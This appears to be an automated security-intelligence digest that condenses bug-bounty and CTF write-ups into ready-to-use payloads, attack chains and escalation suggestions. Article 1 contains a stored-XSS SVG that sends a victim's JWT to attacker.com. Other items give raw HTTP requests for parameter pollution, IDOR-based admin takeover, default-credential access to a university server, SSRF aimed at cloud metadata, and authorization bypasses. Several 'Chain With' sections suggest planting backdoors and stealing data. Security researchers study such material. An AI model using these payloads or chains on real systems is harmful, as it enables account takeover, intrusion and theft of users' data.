ETX Signal-X

Daily Intelligence Digest

Saturday, March 14, 2026

10	11
ARTICLES	TECHNIQUES

Article 1

Escalating impact: Full Account Takeover via Stored XSS

Source: securitycipher

Date: 24-May-2025

URL: https://rajukani100.medium.com/escalating-impact-full-account-takeover-via-stored-xss-24e5aee209f6

T1 Stored XSS via SVG Profile Image Upload

💉 Payload

```
<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    fetch('https://attacker.com/?token='+localStorage.getItem('jwt_token'))
  </script>
</svg>
```

⚔️ Attack Chain

1. Register or use a user account on the target Next.js-based EdTech platform.
2. Upload the above SVG file as the profile image using the profile image upload feature.
3. Obtain the URL to the uploaded SVG image (hosted on the platform's CDN or S3 bucket).
4. The platform serves the SVG via the image rendering route:
5. Victim visits a page (e.g., their profile) where the malicious SVG is rendered.
6. The embedded JavaScript executes in the victim's browser, exfiltrating the JWT token from localStorage to the attacker's server.
7. Attacker uses the stolen JWT token to take over the victim's account.

🔍 Discovery

Initial investigation of the Next.js image proxy route for SVG-based XSS failed due to CORS restrictions. The researcher pivoted to the profile image upload feature, hypothesizing SVG upload would be accepted and rendered inline, leading to stored XSS.

🔓 Bypass

CORS on the image proxy route prevented direct SVG XSS via external URLs. By uploading the SVG to the platform's own storage (profile image upload), the payload bypassed CORS and executed as stored XSS.

🔗 Chain With

Combine with open redirect or social engineering to lure privileged users (admins) into viewing the malicious profile, enabling privilege escalation or platform-wide compromise. Use the stored XSS to perform further actions via the victim's JWT (e.g., API calls, account modifications, lateral movement).

Article 2

How I Cracked the “Uncrackable” UUIDs and Found Every User’s Secret Data

Source: securitycipher

Date: 15-Oct-2025

URL: https://medium.com/@iski/how-i-cracked-the-uncrackable-uuids-and-found-every-users-secret-data-f0cd2224e09d

⚠️ No actionable techniques found

Article 3

VulnBank — FahemSec Web Challenge

Source: securitycipher

Date: 12-Jan-2026

URL: https://mohammadibnibrahim.medium.com/vulnbank-fahemsec-web-challenge-052d97561cbf

T1 HTTP Parameter Pollution to Overwrite Transfer Amount

💉 Payload

```
POST /api/transfer HTTP/1.1
Host: vulnbank.target
Content-Type: application/x-www-form-urlencoded
Cookie: session=YOUR_SESSION_COOKIE

reference_number=abc123&amount=100&from_account=12345&to_account=67890&amount=10000000
```

⚔️ Attack Chain

1. Register a user account (default balance $100).
2. Initiate a money transfer to your own account.
3. Intercept the transfer request and inject `&amount=10000000` into the `reference_number` parameter, resulting in two `amount` parameters in the final query string.
4. Submit the request; the backend processes the injected `amount` parameter, transferring $10,000,000 instead of $100.

🔍 Discovery

Noticed the transaction URL was constructed via string concatenation with user input (`reference_number`) as the first parameter. Recognized the classic HTTP Parameter Pollution risk, confirmed by code review of `TransactionService.php`.

🔓 Bypass

Leverages backend behavior of processing the last/first occurrence of a duplicated parameter. No WAF or parameter validation blocks the injection.

🔗 Chain With

Can be chained with account takeover or privilege escalation if money transfer is a gating mechanism for further attacks.

T2 Logic Flaw in SubUser Edit Grants Ownership (Privilege Escalation/IDOR)

💉 Payload

```
POST /api/editSubUser HTTP/1.1
Host: vulnbank.target
Content-Type: application/json
Cookie: session=YOUR_SESSION_COOKIE

{
  "id": "1", // Admin's user ID
  "newName": "pwnedAdmin"
}
```

⚔️ Attack Chain

1. Register a user account.
2. Create a SubUser under your account.
3. Capture the request to edit the SubUser's name.
4. Modify the `id` parameter in the request to the Admin's user ID (found in SQL config or via enumeration).
5. Send the request; due to logic flaw, the backend updates the Admin's `OwnerId` to your account, making Admin your SubUser.
6. Now, send a password change request for the Admin account (now your SubUser), resetting the Admin's password.
7. Log in as Admin and access privileged data/flags.

🔍 Discovery

Manual parameter tampering on the SubUser edit endpoint. Observed differing HTTP status codes for valid/invalid IDs. Code review revealed that `EnsureEditUserAuthority` updates ownership instead of checking it.

🔓 Bypass

Ownership check is only enforced on password change, not on username change. The edit name endpoint allows arbitrary user ID input, and the logic flaw in the repository function escalates privileges by reassigning ownership.

🔗 Chain With

Critical for chaining with password reset functionality, enabling full account takeover of privileged/admin accounts.

T3 Chained Account Takeover via SubUser Ownership Reassignment and Password Reset

💉 Payload

```
POST /api/changeSubUserPassword HTTP/1.1
Host: vulnbank.target
Content-Type: application/json
Cookie: session=YOUR_SESSION_COOKIE

{
  "id": "1", // Admin's user ID, now your SubUser
  "newPassword": "SuperSecret123!"
}
```

⚔️ Attack Chain

1. Use Technique 2 to make Admin account your SubUser.
2. Send a password change request for the Admin account, which now passes the ownership check.
3. Log in as Admin with the new password.

🔍 Discovery

Tested password change endpoint after reassigning Admin as SubUser. Observed that ownership check now passes, enabling password reset.

🔓 Bypass

Ownership validation is performed at password change, but after exploiting the logic flaw, the attacker is now the owner, so the check is bypassed.

🔗 Chain With

Completes the privilege escalation chain, enabling full admin account takeover and access to all admin-level functions/data.

Article 4

From Recon to RCE: Hunting React2Shell (CVE-2025–55182) for Bug Bounties

Source: securitycipher

Date: 11-Dec-2025

URL: https://infosecwriteups.com/from-recon-to-rce-hunting-react2shell-cve-2025-55182-for-bug-bounties-4e3a3ed79876

⚠️ No actionable techniques found

Article 5

How I Got Access to Berkeley University's One Of Server Using the Legendary 'admin: admin' Creds!

Source: securitycipher

Date: 19-Mar-2025

URL: https://hiddendom.medium.com/how-i-got-access-to-berkeley-universitys-one-of-server-using-the-legendary-admin-admin-creds-64394e6b3152

T1 Admin Panel Access via Default Credentials

💉 Payload

```
POST /[admin_login_endpoint] HTTP/1.1
Host: [target_subdomain]
Content-Type: application/x-www-form-urlencoded

username=admin&password=admin
```

⚔️ Attack Chain

1. Enumerate all domains and subdomains for the target using:
2. Probe for live subdomains:
3. Scan live subdomains for admin/login panels using Nuclei or similar tools:
4. Locate a login page on an educational portal subdomain.
5. Attempt to authenticate using default credentials:
6. Upon successful login, gain access to the admin panel, internal configurations, and sensitive student data.

🔍 Discovery

Reconnaissance using subdomain enumeration and automated scanning (Amass, httpx, Nuclei) to identify exposed admin panels. Default credentials were tested as a standard escalation step on discovered login interfaces.

🔓 Bypass

No brute force or advanced bypass required; direct access due to unchanged default credentials.

🔗 Chain With

Use admin panel access to: - Extract sensitive data (PII, student records) - Modify application settings or user roles - Pivot to internal network or database if further integrations are exposed - Plant backdoors or escalate to RCE if file upload/configuration features are present

Article 6

Untitled

Source:

Date:

URL:

T1 SSRF via Cloudflare Image Proxy with External URL Injection

💉 Payload

```
GET /cdn-cgi/image/width=1000,format=auto/https://d1t1i8qjs1coffvlbrb0dz3onx66ucnwu.oast.live HTTP/1.1
Host: x-transaction-exports.[REDACTED].com
User-Agent: Mozilla/5.0
Accept: */*
Connection: close
```

⚔️ Attack Chain

1. Identify a Cloudflare-protected subdomain (e.g., x-transaction-exports.[REDACTED].com) exposing the `/cdn-cgi/image/` endpoint.
2. Confirm the endpoint accepts fully-qualified external URLs as the image path parameter.
3. Set up an OAST server (e.g., interactsh-client) to capture out-of-band HTTP requests.
4. Craft a request to the image proxy endpoint, supplying your controlled OAST domain as the external image URL.
5. Send the request and monitor your OAST server for incoming HTTP requests from Cloudflare IPs.
6. Use WHOIS or Shodan to confirm the source IPs belong to Cloudflare, verifying SSRF.

🔍 Discovery

Manual reconnaissance of subdomains revealed Cloudflare image proxy usage with suspicious URL patterns. Noticing acceptance of external URLs triggered targeted SSRF testing with interactsh-client.

🔓 Bypass

No authentication or user interaction required. The endpoint does not restrict to relative paths or enforce an allowlist, allowing arbitrary external URLs.

🔗 Chain With

Internal network scanning: Supply internal IPs (e.g., `http://127.0.0.1:3000/`, `http://10.0.0.0/8`) to probe for internal services. Cloud metadata exfiltration: Target `http://169.254.169.254/latest/meta-data/` (AWS) or `http://metadata.google.internal/` (GCP) to access sensitive instance data. XSS via SVG: Host a malicious SVG on your server, pass its URL to the proxy, and leverage downstream SVG rendering for stored XSS if the frontend is vulnerable. Bypass IP-based firewalls: Use the proxy to reach admin panels or APIs restricted to Cloudflare IPs.

Article 7

PHPFusion 9.03.50 contains a persistent cross-site scripting vulnerability in the print.php page that fails to properly sanitize user-submitted message content. Attackers can inject malicious JavaScript through forum messages that will execute when the pr

Source: threatable

Date:

URL: https://www.exploit-db.com/exploits/48497

T1 Persistent XSS via Forum Message Injection and Print Function

💉 Payload

```
<img onerror="alert(1)" src=xxx>
```

⚔️ Attack Chain

1. Register or authenticate to a PHPFusion 9.03.50 instance with forum posting privileges.
2. Create a new forum thread or edit an existing message, injecting the payload `<img onerror="alert(1)" src=xxx>` into the message content field.
3. Submit the message. The payload appears escaped in the normal forum view.
4. Trigger the print functionality by visiting:
5. The print view unsanitizes the message content, rendering the injected payload and executing arbitrary JavaScript in the victim's browser.

🔍 Discovery

Initial fuzzing of forum message content revealed proper escaping in the standard view. Curiosity about alternate render paths led to testing the print.php endpoint, where output was found unsanitized due to the parse_textarea() logic, exposing persistent XSS.

🔓 Bypass

The standard forum view escapes HTML, but the print.php route fails to sanitize message content. This bypasses normal output encoding and allows direct script execution via stored payloads.

🔗 Chain With

Combine with social engineering (e.g., lure moderators/admins to print view for privilege escalation or session theft). Use as a stored XSS primitive for lateral movement if print views are accessible to higher-privileged users. Potential for chaining with CSRF if print.php exposes further actions or if the print view is used in workflows involving sensitive operations.

Article 8

Bypassing UI Restrictions to Rename an Organization by Request Manipulation

Source: securitycipher

Date: 08-Aug-2025

URL: https://keroayman77.medium.com/bypassing-ui-restrictions-to-rename-an-organization-393a972636a2

T1 Organization Name Change via Direct Request Manipulation

💉 Payload

```
POST /api/organization/update HTTP/1.1
Host: dashboard.target.com
Content-Type: application/json
Authorization: Bearer <user_token>

{
  "organizationName": "NewEvilOrgName",
  ...other parameters...
}
```

⚔️ Attack Chain

1. Register a user account on target.com and access dashboard.target.com.
2. Create a team and invite a secondary user via email.
3. Log in as the invited user and navigate to the profile/team settings.
4. Observe that the UI does not allow changing the organization name for non-owners/members.
5. Intercept the organization update request using a proxy (e.g., Burp Suite) when editing other fields.
6. Manually modify the `organizationName` parameter in the intercepted request to a new value.
7. Forward the modified request.
8. Organization name is changed, bypassing UI restrictions.

🔍 Discovery

UI did not expose the organization name field for editing as a non-owner/member. Researcher suspected possible backend trust in client-side controls and intercepted requests to test direct parameter manipulation.

🔓 Bypass

The backend failed to enforce authorization on organization name changes, relying solely on UI restrictions. Direct API request manipulation bypassed the intended access control.

🔗 Chain With

Phishing: Rename org to impersonate trusted entities, increasing success of social engineering attacks. Brand Impersonation: Combine with logo/avatar upload for realistic spoofing. Governance Attacks: If org name is used in smart contract or DAO governance, may allow further privilege escalation or confusion attacks.

Article 9

Authentication Bypass via Email Domain Suffix Manipulation

Source: securitycipher

Date: 01-Jul-2025

URL: https://bishal0x01.medium.com/authentication-bypass-via-email-domain-suffix-manipulation-c866501c7b4b

T1 Authentication Bypass via Email Domain Suffix Manipulation

💉 Payload

```
POST /api/register HTTP/1.1
Host: target.internal
Content-Type: application/json

{
  "email": "attacker@redacted.com",
  "password": "StrongPassw0rd!"
}
```

⚔️ Attack Chain

1. Intercept the registration HTTP request using Burp Suite or similar proxy.
2. Modify the `email` field to use an allowed internal domain (e.g., `attacker@redacted.com`).
3. Submit the registration request and receive a confirmation email at the supplied address.
4. Complete the email verification process to activate the account.
5. Log in with the newly created credentials.
6. Use the authenticated session to access application features intended for internal users.

🔍 Discovery

Manual inspection of registration and login HTTP requests revealed that the backend only validated the email domain suffix (e.g., `@redacted.com`) and did not enforce additional checks. The researcher noticed a prefix was added to the entered email address and tested domain manipulation.

🔓 Bypass

The backend trusted the email domain suffix for access control, allowing attackers to register accounts with privileged internal domains by simply modifying the email field in the request.

🔗 Chain With

Use the internal account to access restricted application features. Attempt privilege escalation by targeting endpoints that assume internal domain users are admins. Combine with IDOR or weak access control on API endpoints for lateral movement and data exfiltration.

T2 Privilege Escalation and Full Admin Access via API Endpoints

💉 Payload

```
GET /api/applications HTTP/1.1
Host: target.internal
Authorization: Bearer <attacker's_token>

PATCH /api/applications/1234 HTTP/1.1
Host: target.internal
Authorization: Bearer <attacker's_token>
Content-Type: application/json

{
  "status": "approved"
}

GET /api/users HTTP/1.1
Host: target.internal
Authorization: Bearer <attacker's_token>
```

⚔️ Attack Chain

1. After registering and verifying an internal domain account (see Technique 1), authenticate and obtain a valid session or bearer token.
2. Use the token to enumerate API endpoints (e.g., `/api/applications`, `/api/users`, `/api/admins`).
3. Access and modify other users' applications by sending requests to endpoints like `/api/applications/<id>`.
4. Self-approve applications by sending PATCH/PUT requests to update the application status.
5. Access sensitive data (users, admins, partners, documents) via additional API endpoints, leveraging lack of proper authorization checks.

🔍 Discovery

After successful registration as an internal user, the researcher explored the API and discovered that endpoints allowed full CRUD operations without proper role validation. Manual testing and endpoint enumeration exposed the privilege escalation path.

🔓 Bypass

The API did not enforce backend authorization checks, assuming any user with an internal domain was trusted. This allowed attackers to perform admin-level actions and access all sensitive data.

🔗 Chain With

Combine with the authentication bypass (Technique 1) for initial access. Use access to internal documents and user data for further phishing or social engineering. Chain with other logic flaws (e.g., workflow manipulation, mass assignment) for deeper compromise.

Article 10

Google Gemini iOS Vulnerability: Public Link Sharing Silently Leaks Entire Conversations

Source: securitycipher

Date: 14-Apr-2025

URL: https://medium.com/@warisjeet31/google-gemini-ios-vulnerability-public-link-sharing-silently-leaks-entire-conversations-e1f80cbea25c

T1 Google Gemini iOS Public Link Scope Confusion → Full Conversation Disclosure

💉 Payload

```
(No crafted payload required. Exploit is triggered via standard app UI interaction: sharing a single prompt via "Share via public link" on Gemini for iOS. The resulting link is the payload.)
```

⚔️ Attack Chain

1. Open Google Gemini app on iOS (tested on iPhone 11 Pro, 15 Pro Max).
2. Create a conversation with multiple messages/prompts.
3. Tap on a single prompt near the bottom of the conversation.
4. Tap "Share via public link" (native app UI feature).
5. Copy the generated public link.
6. Open the link in a private/incognito browser session.
7. Observe that the entire conversation history is exposed, not just the selected prompt.

🔍 Discovery

Researcher noticed a UI-to-backend trust mismatch: the UI implied only a single prompt would be shared, but the resulting link exposed all messages. The finding was triggered by suspicion about the "too clean" sharing workflow and confirmed by testing link behavior in an unauthenticated session.

🔓 Bypass

No authentication, consent, or warning is required to access the shared link. The link is public, does not expire, and exposes all prior conversation content regardless of user intent or selection scope.

🔗 Chain With

Can be chained with social engineering (phishing, targeted link drops) to exfiltrate sensitive user conversations (PII, medical, business, etc.) from high-value targets. If conversation contains credentials, API keys, or internal data, can be leveraged for lateral movement or further compromise. May be used to enumerate user behavior or prompt engineering strategies if combined with OSINT on link recipients.